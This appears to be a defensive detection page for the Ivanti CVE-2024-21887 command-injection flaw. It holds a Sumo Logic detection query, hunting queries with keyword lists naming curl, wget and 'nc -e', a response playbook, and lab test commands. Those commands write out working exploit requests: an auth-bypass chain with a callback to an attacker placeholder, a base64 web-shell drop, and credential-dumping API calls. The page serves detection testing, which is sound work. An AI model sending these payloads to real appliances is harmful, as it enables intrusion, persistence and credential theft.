CVE-2024-21887 Sumo Logic CSE · Sumo

Detect Ivanti Connect Secure Authenticated Command Injection (CVE-2024-21887) in Sumo Logic CSE

CVE-2024-21887 is a critical authenticated command injection vulnerability (CVSS 9.1) in Ivanti Connect Secure and Policy Secure web components. When chained with the authentication bypass CVE-2023-46805, unauthenticated remote attackers can execute arbitrary commands on the appliance as root. Nation-state threat actors (UNC5221) exploited this as a zero-day to deploy LIGHTWIRE, WIREFIRE, and FRAMESTING web shells and conduct credential harvesting and lateral movement. CISA added this to the KEV catalog in January 2024.

MITRE ATT&CK

Tactic
Initial Access Execution Persistence Credential Access Lateral Movement

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql 
_sourceCategory=network/proxy OR _sourceCategory=web/access
| parse regex "(?<src_ip>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}) .* \"(?<method>[A-Z]+) (?<uri>[^ ]+) HTTP/[\d\.]+\" (?<status>\d{3})"
| where uri matches "/api/v1/*" or uri matches "/dana-ws/*" or uri matches "/dana-admin/*" or uri matches "/dana-na/*"
| eval injection_flag = if(uri matches "*totp/user-backup-code*", "known_vuln_endpoint",
    if(uri matches "*archiving/cloud-server-test*", "known_vuln_endpoint",
    if(uri matches "*%3B*" or uri matches "*%7C*" or uri matches "*%60*", "url_encoded_injection",
    if(uri matches "*wget*" or uri matches "*curl*" or uri matches "*bash*" or uri matches "*chmod*", "cmd_in_uri", "suspicious_api"))))
| where injection_flag != "suspicious_api" or (method in ("POST", "PUT") and status in ("200", "201", "204"))
| count as request_count by src_ip, uri, method, status, injection_flag
| where request_count >= 1
| sort by request_count desc
critical severity medium confidence

Sumo Logic query detecting CVE-2024-21887 exploitation by parsing web access logs for requests to known vulnerable Ivanti API endpoints, URL-encoded shell metacharacters, and command injection strings in URI paths.

Data Sources

Web Access LogsProxy LogsNetwork Logs

Required Tables

_sourceCategory=network/proxy_sourceCategory=web/access

False Positives & Tuning

  • Legitimate management API calls from authorized Ivanti administrator accounts
  • Internal health monitoring agents polling API endpoints
  • Scheduled automation scripts that interact with Ivanti maintenance APIs
  • Red team or penetration testing activities during authorized assessment windows

Other platforms for CVE-2024-21887

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1CVE-2024-21887 Command Injection via TOTP Backup Code Endpoint

    Expected signal: HTTP POST to /api/v1/totp/user-backup-code/ with shell metacharacters in request body, followed by file creation event in /tmp/ visible in process audit logs

  2. Test 2CVE-2023-46805 + CVE-2024-21887 Full Chain — Unauthenticated RCE

    Expected signal: Sequence of: GET to /dana-na/auth/saml-sso.cgi with path traversal, 200 response with session cookie, then PUT to /api/v1/system/maintenance/archiving/cloud-server-test-connection with shell metacharacters in host field, followed by outbound HTTP callback from appliance

  3. Test 3Post-Exploitation Web Shell Deployment Simulation

    Expected signal: File creation event at /home/webserver/htdocs/dana-na/auth/ for a new .pl or .py file; subsequent GET request to that file path with query parameters (cmd=, exec=, c=); process spawning by the web server daemon executing perl or python

  4. Test 4Credential Harvesting Simulation via Ivanti Config API

    Expected signal: GET requests to Ivanti configuration API endpoints for user-roles and authentication server configuration; successful 200 responses containing credential or LDAP bind DN data

Last updated: 2026-06-20 Research depth: standard
References (5)

Response Playbook

Triage

  1. Immediately identify the source IP and determine if it is external, internal, or matches known threat actor infrastructure (cross-reference with CTI feeds for UNC5221/APT29 IOCs associated with this CVE).
  2. Retrieve full HTTP access logs from the Ivanti Connect Secure or Policy Secure appliance for the past 30 days and search for requests to /api/v1/totp/user-backup-code/, /api/v1/system/maintenance/archiving/cloud-server-test-connection, and other vulnerable endpoints.
  3. Determine if CVE-2023-46805 authentication bypass was used in combination: look for 200 OK responses to /dana-na/ or /dana-ws/ paths from external IPs without corresponding valid session cookies in the log sequence.
  4. Check for web shell artifacts (LIGHTWIRE, WIREFIRE, FRAMESTING) by inspecting the Ivanti appliance filesystem at known drop paths: /home/webserver/htdocs/dana-na/auth/ and /tmp/ directories.
  5. Assess the version of the Ivanti Connect Secure or Policy Secure appliance and confirm whether the January 2024 or subsequent patches have been applied via the admin portal.

Containment

  1. Isolate the affected Ivanti appliance from the network immediately by null-routing its external IP or placing an ACL on the upstream firewall; redirect VPN users to a clean backup appliance or require alternative authentication temporarily.
  2. Revoke all active VPN sessions and force re-authentication after the appliance is patched or replaced; rotate all credentials (service accounts, certificates, API keys) that may have been accessible through the appliance.
  3. Block source IPs identified as exploiting this vulnerability at the perimeter firewall and submit them to threat intelligence platforms for broader sharing.

Evidence Collection

  1. Export and preserve the full Ivanti appliance system snapshot (diagnostic logs, /var/log/web/, /home/webserver/htdocs/) to immutable storage before any remediation or factory reset, following chain-of-custody procedures.
  2. Capture network packet captures (PCAP) from the segment hosting the Ivanti appliance for the exploitation window, focusing on outbound connections from the appliance IP which may indicate C2 communication or data exfiltration.
  3. Collect memory dump of the Ivanti appliance if technically feasible to identify in-memory implants or running processes spawned by command injection.

Escalation Criteria

  • !Escalate to incident commander and CISO if evidence of successful command execution is confirmed (e.g., new processes spawned, web shells present, outbound C2 traffic observed) as this constitutes a critical breach of the network perimeter.
  • !Escalate to legal and compliance if the Ivanti appliance brokered access to regulated data (PII, PHI, financial records) or if the threat actor achieved lateral movement to internal systems via harvested VPN credentials.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >Ivanti appliance HTTP access logs at /var/log/web/access.log showing requests to /api/v1/totp/user-backup-code/ or archiving endpoints
  • >Web shell files in /home/webserver/htdocs/dana-na/auth/ (LIGHTWIRE) and /tmp/ (WIREFIRE/FRAMESTING)
  • >Process tree showing child processes spawned by the Ivanti web server daemon (e.g., perl, python, sh, curl) — visible in /proc or via process audit logs
  • >Outbound network connections from the Ivanti appliance IP to external C2 infrastructure (unusual for a VPN gateway to initiate outbound HTTP/HTTPS)
  • >Modifications to /etc/passwd, authorized_keys, or cron entries indicating persistence establishment by the threat actor

Tuning Guidance

Start by whitelisting known Ivanti management IP ranges and scheduled automation service accounts to reduce false positives on API endpoint monitoring. Increase confidence by correlating API access events with the absence of valid session authentication headers (indicative of CVE-2023-46805 bypass chain). Tune severity thresholds based on whether the Ivanti appliance has been patched: unpatched appliances warrant CRITICAL alerting on any matching access, while patched appliances can be tuned to alert only on confirmed shell metacharacter or encoded payload patterns. Consider suppressing alerts during documented maintenance windows using a watchlist. If Ivanti syslog forwarding is available, correlation with process spawning events dramatically increases detection fidelity and should be prioritized.

Hunting Queries

Broad 30-day hunt for any successful POST/PUT interactions with Ivanti Connect Secure web endpoints that returned success codes, to identify exploitation that may have occurred before detection rules were in place.

Hunting — KQL
kql 
CommonSecurityLog
| where TimeGenerated >= ago(30d)
| where DeviceProduct has_any ('Ivanti', 'Pulse Secure')
| where csUriStem has_any ('user-backup-code', 'cloud-server-test', 'dana-na', 'dana-ws')
| where csMethod in ('POST', 'PUT')
| where csStatus in ('200', '201', '204')
| summarize FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated), Count=count(), UniqueURIs=dcount(csUriStem) by cIP, DeviceProduct
| where Count >= 1
| order by Count desc
Hunting — SPL
spl 
index=proxy OR index=web (uri="/api/v1/*" OR uri="/dana-na/*" OR uri="/dana-ws/*") method IN ("POST","PUT") status IN ("200","201","204") earliest=-30d
| stats count min(_time) as first_seen max(_time) as last_seen dc(uri) as unique_uris by src_ip
| sort - count

Hunt for command execution artifacts in Ivanti appliance syslog that would indicate successful exploitation — specifically looking for shell commands that would appear in process audit logs if the appliance forwards syslog to SIEM.

Hunting — KQL
kql 
Syslog
| where TimeGenerated >= ago(30d)
| where HostName has_any ('ivanti', 'pulse', 'ics', 'vpn-gw')
| where SyslogMessage has_any ('wget', 'curl', 'bash -c', 'python -c', 'mkfifo', 'nc -e', '/tmp/', 'chmod 777')
| project TimeGenerated, HostName, ProcessName, SyslogMessage
| order by TimeGenerated desc
Hunting — SPL
spl 
index=syslog host IN (ivanti*, pulse*, ics*, vpn*) ("wget" OR "curl" OR "bash -c" OR "python -c" OR "mkfifo" OR "nc -e" OR "chmod 777") earliest=-30d
| table _time host process message
| sort - _time

Atomic Red Team Tests

Test 1 CVE-2024-21887 Command Injection via TOTP Backup Code Endpoint
linux

Simulates the authenticated command injection payload targeting the /api/v1/totp/user-backup-code/ endpoint, which was the primary exploitation vector observed in the wild. Requires a valid session token (obtained either legitimately or via CVE-2023-46805 bypass in a chained attack).

Command

bash 
curl -sk -X POST 'https://<IVANTI_LAB_HOST>/api/v1/totp/user-backup-code/<username>' \
  -H 'Cookie: DSSignInUrl=/; DSID=<SESSION_TOKEN>' \
  -H 'Content-Type: application/json' \
  -d '{"code":"; id > /tmp/pwned.txt; #"}'

Cleanup

bash 
ssh admin@<IVANTI_LAB_HOST> 'rm -f /tmp/pwned.txt'

Expected Telemetry

HTTP POST to /api/v1/totp/user-backup-code/ with shell metacharacters in request body, followed by file creation event in /tmp/ visible in process audit logs

Expected Detection

Alert on POST to /api/v1/totp/user-backup-code/ with non-numeric code field containing semicolons or other shell metacharacters; secondary detection on process spawning by web server daemon

Test 2 CVE-2023-46805 + CVE-2024-21887 Full Chain — Unauthenticated RCE
linux

Simulates the full exploitation chain: first bypass authentication using CVE-2023-46805 path traversal to obtain a valid session, then inject commands via CVE-2024-21887. This is how nation-state actors (UNC5221) exploited the appliance in the wild.

Command

bash 
# Step 1: Auth bypass to obtain session (CVE-2023-46805)
SESSION=$(curl -sk -X GET 'https://<IVANTI_LAB_HOST>/dana-na/auth/saml-sso.cgi?id=/../../../dana/html5/acc/ceac.js' \
  -c /tmp/cookies.txt -b /tmp/cookies.txt \
  | grep -oP 'DSID=[a-f0-9]+' | head -1)

# Step 2: Command injection with obtained session (CVE-2024-21887)
curl -sk -X PUT 'https://<IVANTI_LAB_HOST>/api/v1/system/maintenance/archiving/cloud-server-test-connection' \
  -H "Cookie: ${SESSION}" \
  -H 'Content-Type: application/json' \
  -d '{"host":"127.0.0.1; curl http://<ATTACKER_IP>/callback -d $(whoami); #","port":443}'

Cleanup

bash 
Restore Ivanti lab appliance snapshot; kill any reverse shell processes on attacker listener

Expected Telemetry

Sequence of: GET to /dana-na/auth/saml-sso.cgi with path traversal, 200 response with session cookie, then PUT to /api/v1/system/maintenance/archiving/cloud-server-test-connection with shell metacharacters in host field, followed by outbound HTTP callback from appliance

Expected Detection

Sequential alert chain: CVE-2023-46805 bypass detection followed by CVE-2024-21887 injection detection from the same source IP within 5 minutes; network alert on outbound connection from Ivanti appliance IP to external host

Test 3 Post-Exploitation Web Shell Deployment Simulation
linux

Simulates the post-exploitation technique observed with this CVE, where threat actors deployed LIGHTWIRE (Perl web shell) and WIREFIRE (Python web shell) to maintain persistent access after initial exploitation.

Command

bash 
# Deploy simulated LIGHTWIRE-style web shell via command injection
curl -sk -X POST 'https://<IVANTI_LAB_HOST>/api/v1/totp/user-backup-code/admin' \
  -H 'Cookie: DSID=<VALID_SESSION>' \
  -H 'Content-Type: application/json' \
  -d '{"code":"; echo cGVybCAtZSAndXNlIHN0cmljdDsndSA+IC9ob21lL3dlYnNlcnZlci9odGRvY3MvZGFuYS1uYS9hdXRoL3Rlc3QucGw= | base64 -d > /home/webserver/htdocs/dana-na/auth/healthcheck.pl; chmod 755 /home/webserver/htdocs/dana-na/auth/healthcheck.pl; #"}'

# Verify web shell is accessible
curl -sk 'https://<IVANTI_LAB_HOST>/dana-na/auth/healthcheck.pl?cmd=id'

Cleanup

bash 
ssh admin@<IVANTI_LAB_HOST> 'rm -f /home/webserver/htdocs/dana-na/auth/healthcheck.pl'

Expected Telemetry

File creation event at /home/webserver/htdocs/dana-na/auth/ for a new .pl or .py file; subsequent GET request to that file path with query parameters (cmd=, exec=, c=); process spawning by the web server daemon executing perl or python

Expected Detection

Alert on new file creation in Ivanti web root directories by web server process; alert on GET requests to newly created script files in /dana-na/auth/ path with command-like query parameters

Test 4 Credential Harvesting Simulation via Ivanti Config API
linux

Simulates threat actor credential harvesting activity observed post-exploitation of CVE-2024-21887, where attackers extracted cached VPN credentials and Active Directory service account passwords from the Ivanti appliance configuration.

Command

bash 
# Attempt to read credential store via injection
curl -sk -X GET 'https://<IVANTI_LAB_HOST>/api/v1/configuration/users/user-roles/user-role/users' \
  -H 'Cookie: DSID=<VALID_SESSION>' \
  -H 'Accept: application/json'

# Attempt to dump LDAP bind credentials from configuration
curl -sk -X GET 'https://<IVANTI_LAB_HOST>/api/v1/configuration/authentication/auth-servers/auth-server/ldap-auth-server' \
  -H 'Cookie: DSID=<VALID_SESSION>'

Cleanup

bash 
Rotate any credentials that may have been exposed; audit SIEM for evidence of credential use from unexpected locations

Expected Telemetry

GET requests to Ivanti configuration API endpoints for user-roles and authentication server configuration; successful 200 responses containing credential or LDAP bind DN data

Expected Detection

Alert on access to /api/v1/configuration/authentication/ endpoints from external IP addresses or outside of expected management windows; alert on bulk enumeration of user-role API endpoints

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0003PersistenceTA0006Credential AccessTA0008Lateral Movement

Related Techniques

T1190Exploit Public-Facing ApplicationT1059Command and Scripting InterpreterT1505.003Web ShellT1078Valid AccountsT1560Archive Collected Data

Same Tactic: Initial Access

Popular Detections